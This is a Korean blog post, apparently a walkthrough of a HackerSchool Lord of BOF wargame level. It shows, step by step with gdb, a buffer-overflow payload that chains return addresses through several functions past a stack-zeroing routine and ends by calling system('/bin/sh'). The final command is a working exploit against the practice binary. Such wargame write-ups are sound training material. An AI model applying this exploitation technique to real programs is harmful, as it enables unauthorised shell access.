소스를 본다
/* |
일단, argv[1]에는 '\x40' 이 들어가면 프로그램이 종료된다.
그리고 argv[1]+44 지점부터 4바이트가 DO 함수의 주소가 아니면 프로그램이 종료된다.
그럼 일단 이 조건들을 먼저 피해보자
argv[1]+44 부터 DO의 주소를 넣으니
일단 피해는 간다.
하지만 우리가 원하는 것은
DO함수부터 차례대로 가면서 MO까지 도달해야 한다.
전역변수 check값을 계속 변화시키면서 검사하기 때문이다.
결국, MO함수를 실행시켜 인자인 cmd에 /bin/sh 의 주소를 넣으면 system이 실행되는 것이다.
하지만 stack destroyer가 있다.
// stack destroyer |
buffer부터 44바이트를 0으로 (ret만 남기고 다 0으로 변한다.)
buffer+48부터 버퍼의 끝까지 0으로 (argv도 다 0으로 변한다.)
buffer-3000 부터 2960 바이트만큼 0으로. (buffer-40 부터 buffer 까지는 살아있다.)
--> 즉슨, buffer-40 부터 buffer까지, 그리고 메인함수의 ret주소가 들어있는 스택의 4바이트만 살고 나머지는 모두 0으로 변한다.
스택 위로 끝까지 전부 0 | 100바이트 | ret | sfp | buffer[40] | buffer-40 부터의 40바이트 | 밑으로 쭉 0
주황색 부분만 살고 나머지는 다 0이다.
ebp 는 0xbffffac8 이고
블록 씌운 부분이 [buffer-40 부터의 40바이트]이다.
그리고 0x080487ec 가 ret 부분이다.
일단, DO함수에 들어가므로, 한번 본다.
DO함수의 leave를 실행한 후 레지스터를 보자
현재 esp가 0xbffffa70이고, 이 스택주소를 pop해서 eip로 설정할 것이다.
따라서, 저 부분에 GYE의 주소를 넣으면 될 것이다.
그럼 다시 페이로드를 짜서 gdb로 돌려보자
사용한 페이로드는 아래이다.
`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"AAAA"+"\xbc\x87\x04\x08"+"BBBB"+"\x8c\x87\x04\x08"'`
DO함수의 ret에 브레이크를 건 모습이다.
리턴주소가 AAAA인 것을 알 수 있다.
다시 해보았다.
`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"BBBB"+"\x8c\x87\x04\x08"'`
이제 GYE의 주소가 잘 들어가있다.
이제 eip가 GYE의 주소로 바뀌어 GYE가 실행이 될 것이다.
아래그림은 GYE함수내의 ret 부분의 스택이다.
esp가 바로 다음의 B를 가리키고 있는 것을 볼 수 있다.
다시 해본다.
`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"CCCC"'`
MO함수의 system의 인자에 들어갈 스택을 보았다.
\x40을 쓰지 못하므로, CCCC자리에 "/bin/sh" 을 넣어서 BBBB에 CCCC의 스택주소를 넣겠다.
`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"/bin/sh의 스택주소"+"/bin/sh"'`
./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"/bin/sh"'`
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Lovel18 (0) | 2014.08.25 |
---|---|
HackerSchool LOB Level16 (0) | 2014.08.23 |
HackerSchool LOB Level15 (0) | 2014.08.23 |
HackerSchool LOB Level14 (0) | 2014.08.20 |
HackerSchool LOB Level13 (0) | 2014.08.15 |